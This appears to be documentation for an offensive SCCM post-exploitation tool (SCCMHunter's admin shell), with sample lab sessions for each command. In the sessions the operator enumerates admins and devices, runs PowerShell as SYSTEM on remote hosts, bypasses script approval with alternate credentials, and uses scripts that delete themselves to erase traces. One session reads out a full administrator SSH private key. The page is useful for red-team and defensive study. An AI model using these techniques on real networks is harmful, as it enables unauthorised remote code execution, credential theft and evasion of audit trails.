options:
-h, --help show this help message and exit
- Get the script guid you want to delete
() (C:\) >> list_scripts
[15:01:20] INFO [+] Retrieved existing scripts.
[15:01:20] INFO +-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
| ApprovalState | Approver | Author | ScriptDescription | ScriptGuid | ScriptName |
+=================+============+============================+=====================+======================================+==============+
| 0 | | unsigned-sh0rt\domainadmin | | 403006D9-4554-40BD-A870-27AF9EADBE2B | delete_me |
+-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
| 3 | CM | CM | | 7DC6B6F1-E7F6-43C1-96E0-E1D16BC25C14 | CMPivot |
+-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
- Delete the script with the guid
() (C:\) >> delete_script 403006D9-4554-40BD-A870-27AF9EADBE2B
[15:03:59] INFO [+] Script with GUID 403006D9-4554-40BD-A870-27AF9EADBE2B deleted.
() (C:\) >>
Downloads the SCCM console installer MSI. Useful if you want to proxy the console in and don't have a lab to pull the installer from.
get_consoleinstaller
() (C:\) >> get_consoleinstaller
[15:07:44] INFO Downloading adminconsole installation files
[+] Block 1: 4194304 bytes
[+] Block 2: 4194304 bytes
[+] Block 3: 4194304 bytes
[+] Block 4: 4194304 bytes
[+] Block 5: 4194304 bytes
[+] Block 6: 4194304 bytes
[+] Block 7: 4194304 bytes
[+] Block 8: 4194304 bytes
[+] Block 9: 4194304 bytes
[+] Block 10: 4194304 bytes
[+] Block 11: 4194304 bytes
[+] Block 12: 4194304 bytes
[+] Block 13: 4194304 bytes
[+] Block 14: 4194304 bytes
[+] Block 15: 4194304 bytes
[+] Block 16: 3198976 bytes
[+] Block 17: 0 bytes
[+] Saved 66113536 bytes to adminconsole.msi
Pulls the version number for the SCCM installation. Useful if you're checking to see if the installation is vulnerable to recent CVEs.
get_sccmversion
() (C:\) >> get_sccmversion
[15:09:10] INFO Tasked SCCM to show console version
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#__PARAMETERS",
"ReturnValue": 0,
"VersionString": "5.00.9141.1002"
}
() (C:\) >>
List all of the scripts from SCCM.
list_scripts
() (C:\) >> list_scripts
[15:13:05] INFO [+] Retrieved existing scripts.
[15:13:05] INFO +-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
| ApprovalState | Approver | Author | ScriptDescription | ScriptGuid | ScriptName |
+=================+============+============================+=====================+======================================+==============+
| 0 | | unsigned-sh0rt\domainadmin | | 0067BF71-DA0B-4081-9E40-126B27392FD7 | wiki_demo |
+-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
| 3 | CM | CM | | 7DC6B6F1-E7F6-43C1-96E0-E1D16BC25C14 | CMPivot |
+-----------------+------------+----------------------------+---------------------+--------------------------------------+--------------+
Execute a provided PowerShell script on a target host. The script is intended to be self deleting from the remote host as well as from the site database. If the hierarchy is configured to require script approval (default) alternate credentials must be specified to approve the script. Alternate credentials can be obtained by using the add_admin command to add a secondary account as an administrator.
script [/path/to/script]
() (C:\) >> interact 16777221
(16777221) (C:\) >> shell cat /root/test.txt
whoami
(16777221) (C:\) >> script /root/test.txt
[14:13:36] INFO [+] Updates script created successfully with GUID 405cde91-bb42-4d2f-9acd-7b3b3789ccd4.
[14:13:36] DEBUG [*] Using alternate credentials to approve script.
[14:13:38] INFO [+] Script with guid 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 approved.
[14:13:40] INFO [+] Script with guid 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 executed.
[14:13:40] DEBUG [+] Got OperationID: 16779568
[14:13:58] INFO [+] Got result:
[14:13:58] INFO nt authority\\system
[14:13:59] INFO [+] Script with GUID 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 deleted.
(16777221) (C:\) >>
Script execution fails
(16777221) (C:\) >> script /root/test.txt
[22:57:31] INFO [+] Updates script created successfully with GUID c6006c4a-5590-4cac-9b49-48b86e80064f.
[22:57:35] INFO [-] Hierarchy settings do not allow author's to approve their own scripts. All custom script execution will fail.
[22:57:35] INFO [*] Try using alternate approval credentials.
[22:57:38] INFO [+] Script with GUID c6006c4a-5590-4cac-9b49-48b86e80064f deleted.
(16777221) (C:\) >>
Exit and provide alternate approval credentials. Run script again.
(16777221) (C:\) >> exit
┌──(root㉿kali)-[/opt/sccmhunter]
└─# python3 sccmhunter.py admin -u lab\\administrator -p P@ssw0rd -ip 10.10.100.9 -au lowpriv -ap P@ssw0rd -debug
SCCMHunter vdev0.0.3 by @garrfoster
[14:13:07] DEBUG [*] Database built.
[14:13:07] INFO [!] Enter help for extra shell commands
() C:\ >> shell nano /root/test.txt
() (C:\) >> interact 16777221
(16777221) (C:\) >> script /root/test.txt
[14:13:36] INFO [+] Updates script created successfully with GUID 405cde91-bb42-4d2f-9acd-7b3b3789ccd4.
[14:13:36] DEBUG [*] Using alternate credentials to approve script.
[14:13:38] INFO [+] Script with guid 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 approved.
[14:13:40] INFO [+] Script with guid 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 executed.
[14:13:40] DEBUG [+] Got OperationID: 16779568
[14:13:58] INFO [+] Got result:
[14:13:58] INFO nt authority\\system
[14:13:59] INFO [+] Script with GUID 405cde91-bb42-4d2f-9acd-7b3b3789ccd4 deleted.
(16777221) (C:\) >>
Show the current SCCM admin accounts.
show_admins
() C:\ >> show_admins
[22:13:53] INFO Tasked SCCM to list current SMS Admins.
[22:13:53] INFO Current Full Admin Users:
[22:13:53] INFO LAB\Administrator
() (C:\) >>
Shows the currently signed in admin users and where they're signed in from.
show_consoleconnections
() (C:\) >> show_consoleconnections
[15:15:03] INFO Tasked SCCM to list all SCCM console connections
[15:15:04] INFO +------------------+---------------------------------+-----------------------------------+----------------------------+
| ConsoleVersion | MachineName | Source | UserName |
+==================+=================================+===================================+============================+
| 5.2303.1089.1000 | sccm-sitesrv.unsigned-sh0rt.net | powershell | unsigned-sh0rt\domainadmin |
+------------------+---------------------------------+-----------------------------------+----------------------------+
| 5.2509.1036.1200 | sccm-sitesrv.unsigned-sh0rt.net | Microsoft.ConfigurationManagement | unsigned-sh0rt\domainadmin |
+------------------+---------------------------------+-----------------------------------+----------------------------+
() (C:\) >>
Shows all users and groups that have been delegated permissions.
show_rbac
() (C:\) >> show_rbac
[15:17:07] INFO Tasked SCCM to list all RBAC
[15:17:07] INFO +-----------------+----------------------------+------------------------------------------------+
| CategoryNames | LogonName | RoleNames |
+=================+============================+================================================+
| ['All'] | unsigned-sh0rt\domainadmin | ['Full Administrator'] |
+-----------------+----------------------------+------------------------------------------------+
| ['Default'] | unsigned-sh0rt\domainuser | ['Read-only Analyst', 'CMPivot Administrator'] |
+-----------------+----------------------------+------------------------------------------------+
Sets the target device for command line interactions to a specified ResourceID. This setting must be configured prior to any remote enumeration or script execution.
interact [ResourceID]
In the below example, the dp device is queried. In the result the 16777221 is returned. The operator can now interact with that device and configure the command line.
() (C:\) >> get_device dp
[19:54:23] INFO ------------------------------------------
Active: 1
Client: 1
DistinguishedName: CN=DP,OU=SCCM_SiteSystems,DC=internal,DC=lab
FullDomainName: INTERNAL.LAB
IPAddresses: 10.10.100.11
LastLogonUserDomain: LAB
LastLogonUserName: administrator
Name: DP
OperatingSystemNameandVersion: Microsoft Windows NT Server 10.0
PrimaryGroupID: 515
ResourceId: 16777221
ResourceNames: dp.internal.lab
SID: S-1-5-21-4004054868-2969153893-1580793631-1105
SMSInstalledSites: LAB
SMSUniqueIdentifier: GUID:7484EE6B-8D62-40CE-97A4-079F30EDA5A0
------------------------------------------
() (C:\) >> interact 16777221
(16777221) (C:\) >>
Query the interactive device for members of the device's local administrators group.
administrators
(16777221) (C:\) >> administrators
[19:38:17] INFO Tasked SCCM to run Administrators.
[19:38:19] INFO Got OperationId 16779666. Sleeping 10 seconds to wait for host to call home.
[19:38:29] INFO No results yet, sleeping 10 seconds.
[19:38:41] INFO +---------------+----------------------+-------------------+----------+
| ObjectClass | Name | PrincipalSource | Device |
+===============+======================+===================+==========+
| User | DP\Administrator | Local | DP |
+---------------+----------------------+-------------------+----------+
| Group | LAB\Domain Admins | ActiveDirectory | DP |
+---------------+----------------------+-------------------+----------+
| Group | LAB\SCCM_SiteServers | ActiveDirectory | DP |
+---------------+----------------------+-------------------+----------+
Display the contents of a file on the interactive device. The command line must be configured with the path to the file contents directory. For example, if the file you want to display is in "C:\Windows\Temp", you must issue a cd command to configure the command line with that file path in addition to the interactive device. NOTE: SCCM limits the result returned from scripts to 4KB. If the file size is larger it will be truncated or unreliable. Additionally, since scripts are used, you may need to supply alternate credentials. See scripts for more information.
cat [filename]
(16777221) (C:\) >> cd C:\Users\administrator.LAB\.ssh
(16777221) (C:\Users\administrator.LAB\.ssh\) >> cat id_rsa
[23:21:41] INFO Tasked SCCM to show id_rsa
[23:21:43] INFO [+] Updates script created successfully with GUID 22057b18-d704-4734-ac35-2641eae96fb4.
[23:21:47] INFO [+] Script with guid 22057b18-d704-4734-ac35-2641eae96fb4 approved.
[23:21:49] INFO [+] Script with guid 22057b18-d704-4734-ac35-2641eae96fb4 executed.
[23:22:08] INFO [+] Got result:
[23:22:08] INFO -----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[23:22:12] INFO [+] Script with GUID 22057b18-d704-4734-ac35-2641eae96fb4 deleted.
(16777221) (C:\Users\administrator.LAB\.ssh\) >>
Change directories on the command line. This is required for both the ls and cat commands.
cd [filepath]
(16777221) (C:\) >> cd C:\Users
(16777221) (C:\Users\) >> ls
[23:25:28] INFO Tasked SCCM to list files in C:\Users\.
[23:25:28] INFO Got OperationId 16779694. Sleeping 10 seconds to wait for host to call home.
[23:25:41] INFO +----------------------------+--------+---------------------+--------+----------+
| FileName | Mode | LastWriteTime | Size | Device |
+============================+========+=====================+========+==========+
| C:\Users\Administrator | d----- | 2024-01-27 05:53:07 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\administrator.LAB | d----- | 2024-02-08 07:21:12 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\All Users | d--hsl | 2021-05-08 08:34:03 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\Default | d-rh-- | 2024-01-27 21:59:32 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\Default User | d--hsl | 2021-05-08 08:34:03 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\Public | d-r--- | 2024-01-27 05:53:07 | 1 | DP |
+----------------------------+--------+---------------------+--------+----------+
| C:\Users\desktop.ini | -a-hs- | 2021-05-08 08:18:31 | 174 | DP |
+----------------------------+--------+---------------------+--------+----------+
(16777221) (C:\Users\) >>
Returns data detailing the users that have logged on
console_users
(16777221) (C:\) >> console_users
[19:39:28] INFO Tasked SCCM to show all users that have signed in.
[19:39:31] INFO Got OperationId 16779667. Sleeping 10 seconds to wait for host to call home.
[19:39:41] INFO +---------------------+-------------------------+-------------------------------+---------------------------+----------+
| LastConsoleUse | NumberOfConsoleLogons | SystemConsoleUser | TotalUserConsoleMinutes | Device |
+=====================+=========================+===============================+===========================+==========+
| 2024-01-27 14:08:00 | 1 | win-3sflnhdib39\administrator | 495 | DP |
+---------------------+-------------------------+-------------------------------+---------------------------+----------+
| 2024-01-28 22:42:35 | 1 | lab\administrator | 2435 | DP |
+---------------------+-------------------------+-------------------------------+---------------------------+----------+
List available disk drives and space on the interactive system
disk
(16777221) (C:\) >> disk
[19:40:23] INFO Tasked SCCM to show disk information of 16777221.
[19:40:24] INFO Got OperationId 16779668. Sleeping 10 seconds to wait for host to call home.
[19:40:35] INFO +--------+------------------+-------------+-------------+--------------+----------------------+----------+
| Name | Description | Size | FreeSpace | Compressed | VolumeSerialNumber | Device |
+========+==================+=============+=============+==============+======================+==========+
| C: | Local Fixed Disk | 53012852736 | 40399273984 | False | 5E2D550E | DP |
+--------+------------------+-------------+-------------+--------------+----------------------+----------+
| D: | CD-ROM Disc | 5044094976 | 0 | False | D10C768B | DP |
+--------+------------------+-------------+-------------+--------------+----------------------+----------+
List environment variables from the interactive system
(16777221) (C:\) >> environment
[19:40:51] INFO Tasked SCCM to show Environment variables of 16777221.
[19:40:53] INFO Got OperationId 16779669. Sleeping 10 seconds to wait for host to call home.
[19:41:03] INFO No results yet, sleeping 10 seconds.
[19:41:14] INFO +-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| Caption | Description | Name | Status | SystemVariable | UserName |
VariableValue | Device |
+===================================+===================================+========================+==========+==================+==============================+============
================================================================================================================================+==========+
| <SYSTEM>\ComSpec | <SYSTEM>\ComSpec | ComSpec | OK | True | <SYSTEM> |
%SystemRoot%\system32\cmd.exe | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\DriverData | <SYSTEM>\DriverData | DriverData | OK | True | <SYSTEM> |
C:\Windows\System32\Drivers\DriverData | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\OS | <SYSTEM>\OS | OS | OK | True | <SYSTEM> | Windows_NT
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\Path | <SYSTEM>\Path | Path | OK | True | <SYSTEM> |
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PATHEXT | <SYSTEM>\PATHEXT | PATHEXT | OK | True | <SYSTEM> |
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PROCESSOR_ARCHITECTURE | <SYSTEM>\PROCESSOR_ARCHITECTURE | PROCESSOR_ARCHITECTURE | OK | True | <SYSTEM> | AMD64
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PSModulePath | <SYSTEM>\PSModulePath | PSModulePath | OK | True | <SYSTEM> |
%ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\TEMP | <SYSTEM>\TEMP | TEMP | OK | True | <SYSTEM> |
%SystemRoot%\TEMP | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\TMP | <SYSTEM>\TMP | TMP | OK | True | <SYSTEM> |
%SystemRoot%\TEMP | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\USERNAME | <SYSTEM>\USERNAME | USERNAME | OK | True | <SYSTEM> | SYSTEM
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\windir | <SYSTEM>\windir | windir | OK | True | <SYSTEM> |
%SystemRoot% | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\NUMBER_OF_PROCESSORS | <SYSTEM>\NUMBER_OF_PROCESSORS | NUMBER_OF_PROCESSORS | OK | True | <SYSTEM> | 2
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PROCESSOR_LEVEL | <SYSTEM>\PROCESSOR_LEVEL | PROCESSOR_LEVEL | OK | True | <SYSTEM> | 6
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PROCESSOR_IDENTIFIER | <SYSTEM>\PROCESSOR_IDENTIFIER | PROCESSOR_IDENTIFIER | OK | True | <SYSTEM> | Intel64
Family 6 Model 140 Stepping 1, GenuineIntel | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\PROCESSOR_REVISION | <SYSTEM>\PROCESSOR_REVISION | PROCESSOR_REVISION | OK | True | <SYSTEM> | 8c01
| DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| <SYSTEM>\UATDATA | <SYSTEM>\UATDATA | UATDATA | OK | True | <SYSTEM> |
C:\Windows\CCM\UATData\D9F8C395-CAB8-491d-B8AC-179A1FE1BE77 | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\SYSTEM\Path | NT AUTHORITY\SYSTEM\Path | Path | OK | False | NT AUTHORITY\SYSTEM |
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\SYSTEM\TEMP | NT AUTHORITY\SYSTEM\TEMP | TEMP | OK | False | NT AUTHORITY\SYSTEM |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\SYSTEM\TMP | NT AUTHORITY\SYSTEM\TMP | TMP | OK | False | NT AUTHORITY\SYSTEM |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\LOCAL SERVICE\Path | NT AUTHORITY\LOCAL SERVICE\Path | Path | OK | False | NT AUTHORITY\LOCAL SERVICE |
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\LOCAL SERVICE\TEMP | NT AUTHORITY\LOCAL SERVICE\TEMP | TEMP | OK | False | NT AUTHORITY\LOCAL SERVICE |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\LOCAL SERVICE\TMP | NT AUTHORITY\LOCAL SERVICE\TMP | TMP | OK | False | NT AUTHORITY\LOCAL SERVICE |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\NETWORK SERVICE\Path | NT AUTHORITY\NETWORK SERVICE\Path | Path | OK | False | NT AUTHORITY\NETWORK SERVICE |
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\NETWORK SERVICE\TEMP | NT AUTHORITY\NETWORK SERVICE\TEMP | TEMP | OK | False | NT AUTHORITY\NETWORK SERVICE |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| NT AUTHORITY\NETWORK SERVICE\TMP | NT AUTHORITY\NETWORK SERVICE\TMP | TMP | OK | False | NT AUTHORITY\NETWORK SERVICE |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| DP\Administrator\Path | DP\Administrator\Path | Path | OK | False | DP\Administrator |
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| DP\Administrator\TEMP | DP\Administrator\TEMP | TEMP | OK | False | DP\Administrator |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| DP\Administrator\TMP | DP\Administrator\TMP | TMP | OK | False | DP\Administrator |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| LAB\Administrator\Path | LAB\Administrator\Path | Path | OK | False | LAB\Administrator |
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| LAB\Administrator\TEMP | LAB\Administrator\TEMP | TEMP | OK | False | LAB\Administrator |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
| LAB\Administrator\TMP | LAB\Administrator\TMP | TMP | OK | False | LAB\Administrator |
%USERPROFILE%\AppData\Local\Temp | DP |
+-----------------------------------+-----------------------------------+------------------------+----------+------------------+------------------------------+------------
--------------------------------------------------------------------------------------------------------------------------------+----------+
(16777221) (C:\) >>
Run ipconfig on the interactive host and retrieve networking info.
ipconfig
(16777221) (C:\) >> ipconfig
[19:42:23] INFO Tasked SCCM to run IPCONFIG.
[19:42:27] INFO Got OperationId 16779670. Sleeping 10 seconds to wait for host to call home.
[19:42:39] INFO +------------------+--------------+--------------------------------------------+----------+---------------+----------------------+-----------------------------+----------+
| InterfaceAlias | Name | InterfaceDescription | Status | IPV4Address | IPV4DefaultGateway | DNSServerList | Device |
+==================+==============+============================================+==========+===============+======================+=============================+==========+
| Ethernet0 | internal.lab | Intel(R) 82574L Gigabit Network Connection | Up | 10.10.100.11 | 10.10.100.10 | 10.10.100.100; 10.10.100.10 | DP |
+------------------+--------------+--------------------------------------------+----------+---------------+----------------------+-----------------------------+----------+
(16777221) (C:\) >>
Lists available disk drives on the interactive system
list_disk
(16777221) (C:\) >> list_disk
[19:43:02] INFO Tasked SCCM to show mounted drives on 16777221.
[19:43:04] INFO Got OperationId 16779671. Sleeping 10 seconds to wait for host to call home.
[19:43:17] INFO +------------------+-----------+------------+----------+
| Description | Caption | DeviceID | Device |
+==================+===========+============+==========+
| Local Fixed Disk | C: | C: | DP |
+------------------+-----------+------------+----------+
| CD-ROM Disc | nan | D: | DP |
+------------------+-----------+------------+----------+
(16777221) (C:\) >>
Will list the contents of the current directory represented on the command line. Defaults to C:. You must issue a cd command to another known directory (i.e. cd C:\Users to list the contents of that Users directory and so on.
ls
(16777221) (C:\) >> ls
[19:43:31] INFO Tasked SCCM to list files in C:\.
[19:43:33] INFO Got OperationId 16779672. Sleeping 10 seconds to wait for host to call home.
[19:43:47] INFO +------------------------------+--------+---------------------+--------+----------+
| FileName | Mode | LastWriteTime | Size | Device |
+==============================+========+=====================+========+==========+
| C:\$Recycle.Bin | d--hs- | 2024-01-27 06:07:22 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\$WinREAgent | d--h-- | 2024-01-27 14:07:43 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\Documents and Settings | d--hsl | 2024-01-27 21:59:32 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\inetpub | d----- | 2024-01-27 20:31:16 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\PerfLogs | d----- | 2021-05-08 08:20:24 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\Program Files | d-r--- | 2024-01-27 16:25:43 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\Program Files (x86) | d----- | 2021-05-08 09:40:21 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\ProgramData | d--h-- | 2024-01-27 18:18:42 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
